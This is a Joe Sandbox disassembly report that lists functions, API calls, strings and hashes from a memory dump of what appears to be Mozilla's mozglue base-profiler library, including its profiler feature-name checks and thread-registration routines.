Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79C0, 6C6C7C72, 6C6C79FB, 6C6C7E0B, 6C6C793C, 6C6C7B0B, 6C6C7C03

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C65DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction ID: a39475386c5918ebd676784b8f17469e4ce99828062bf41cefbf34d5986a195a
Opcode Fuzzy Hash: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction Fuzzy Hash: DC42D472A087508BD708CE3CC49035AF3E2BFC9364F594B2DE999A7790D738D9518B86

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C697710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction ID: 079eca84145a93ddf9a999312de41e95189b487121d3b2ef349809f951b8e3dd
Opcode Fuzzy Hash: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction Fuzzy Hash: 97714C75E0121A8FCF18CFA9D8906EDBBB2FF89314F24816ED416AB740D731A945CB94

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

power, xrefs: 6C69CE84
mainthreadio, xrefs: 6C69CC7C
notimerresolutionchange, xrefs: 6C69CE00
processcpu, xrefs: 6C69CE6E
fileioall, xrefs: 6C69CCA8
leaf, xrefs: 6C69CC66
noiostacks, xrefs: 6C69CCBE
seqstyle, xrefs: 6C69CCE6
unregisteredthreads, xrefs: 6C69CE58
fileio, xrefs: 6C69CC92
nostacksampling, xrefs: 6C69CD7C
markersallthreads, xrefs: 6C69CE42
audiocallbacktracing, xrefs: 6C69CDD4
stackwalk, xrefs: 6C69CCF8
java, xrefs: 6C69CC37
ipcmessages, xrefs: 6C69CDBE
preferencereads, xrefs: 6C69CD92
Unrecognized feature "%s"., xrefs: 6C69CEA0
nativeallocations, xrefs: 6C69CDA8
samplingallthreads, xrefs: 6C69CE2C
default, xrefs: 6C69CC21
screenshots, xrefs: 6C69CCD4
cpuallthreads, xrefs: 6C69CE16
jsallocations, xrefs: 6C69CD0E

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C6647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C664801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C664817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C66482D
__Init_thread_footer.LIBCMT ref: 6C66484A

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
Part of subcall function 6C68AB3F: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68AB7C

GetCurrentThreadId.KERNEL32 ref: 6C66485F
GetCurrentThreadId.KERNEL32 ref: 6C66487E
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66488B
free.MOZGLUE(?), ref: 6C66493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C664956
free.MOZGLUE(00000000), ref: 6C664960
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C66499A

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

free.MOZGLUE(?), ref: 6C6649C6
free.MOZGLUE(?), ref: 6C6649E9

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C664828
[I %d/%d] profiler_shutdown, xrefs: 6C664A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C664812
MOZ_PROFILER_SHUTDOWN, xrefs: 6C664A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6647FC

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction ID: 293c3bd29150b65420c401d9490c4a137bcc40bf04f2f5a2f0f5404c09a1b792
Opcode Fuzzy Hash: 21d231439b3aeb972dff8dc6797452225e9d0fe7018f2695c1c12f90be17e923
Instruction Fuzzy Hash: D3810470A001009BDB14DF2BC8A476A3775AF82329F140629D916D7F46D7B1F845CB9F

Function 6C664470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C664730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6644B2,6C6DE21C,6C6DF7F8), ref: 6C66473E
Part of subcall function 6C664730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C66474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6644BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6644D2
InitOnceExecuteOnce.KERNEL32(6C6DF80C,6C65F240,?,?), ref: 6C66451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66455C
LoadLibraryW.KERNEL32(?), ref: 6C664592
InitializeCriticalSection.KERNEL32(6C6DF770), ref: 6C6645A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6645AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6645BB
InitOnceExecuteOnce.KERNEL32(6C6DF818,6C65F240,?,?), ref: 6C664612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C664636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C664644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C66466D
VerSetConditionMask.NTDLL ref: 6C66469F
VerSetConditionMask.NTDLL ref: 6C6646AB
VerSetConditionMask.NTDLL ref: 6C6646B2
VerSetConditionMask.NTDLL ref: 6C6646B9
VerSetConditionMask.NTDLL ref: 6C6646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6646FD

Strings

kernel32.dll, xrefs: 6C6644CD
Gml, xrefs: 6C6644FC
l, xrefs: 6C664578
WRusr.dll, xrefs: 6C6644B5
NativeNtBlockSet_Write, xrefs: 6C6646F7
user32.dll, xrefs: 6C664557, 6C66463F

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gml$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-884719140
Opcode ID: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction ID: eab5048da82757be091df25168019b24db7482201df077dfba6ea1edc53506d4
Opcode Fuzzy Hash: 7f36ea0ce7a6cd817d4207c682ef3097cf320b583f35835c022c5327a6ca0a1b
Instruction Fuzzy Hash: AE6106B0604244AFEB00DF63D895BA57BB8EF86348F04C458E5049BA41D7F1AA85CF9F

Function 6C69F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C69F8F9

Part of subcall function 6C666390: GetCurrentThreadId.KERNEL32 ref: 6C6663D0
Part of subcall function 6C666390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6663DF
Part of subcall function 6C666390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C66640E

ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F93A
GetCurrentThreadId.KERNEL32 ref: 6C69F98A
GetCurrentThreadId.KERNEL32 ref: 6C69F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F716

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C65B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C65B5E0

GetCurrentThreadId.KERNEL32 ref: 6C69F739
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F746
GetCurrentThreadId.KERNEL32 ref: 6C69F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6D385B,00000002,?,?,?,?,?), ref: 6C69F829
free.MOZGLUE(?,?,00000000,?), ref: 6C69F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C69F866
free.MOZGLUE(?), ref: 6C69FA0C

Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C
Part of subcall function 6C665E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EAB
Part of subcall function 6C665E60: GetCurrentThreadId.KERNEL32 ref: 6C665EB8
Part of subcall function 6C665E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27
Part of subcall function 6C665E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F53
Part of subcall function 6C665E60: GetCurrentThread.KERNEL32 ref: 6C665F5C
Part of subcall function 6C665E60: GetCurrentProcess.KERNEL32 ref: 6C665F66
Part of subcall function 6C665E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E

free.MOZGLUE(?), ref: 6C69F9C5
free.MOZGLUE(?), ref: 6C69F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C69F71F
" attempted to re-register as ", xrefs: 6C69F858
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C69F9A6
Thread , xrefs: 6C69F789

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction ID: ac30982e706685506d0b69bd6c31d6219e903b9dfed3c3e8203c429b5339d853
Opcode Fuzzy Hash: b1212e13894a61565bf873e0a71522ff3f24380dbdd5ad14f6d00f76d55e6a09
Instruction Fuzzy Hash: 908106716042019FDB10DF25C880AAEB7B5EFC6308F55456DE8499BB51EB30E849CBAF

Function 6C69EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EE60
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE6D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69EEA5
CloseHandle.KERNEL32(?), ref: 6C69EEB4
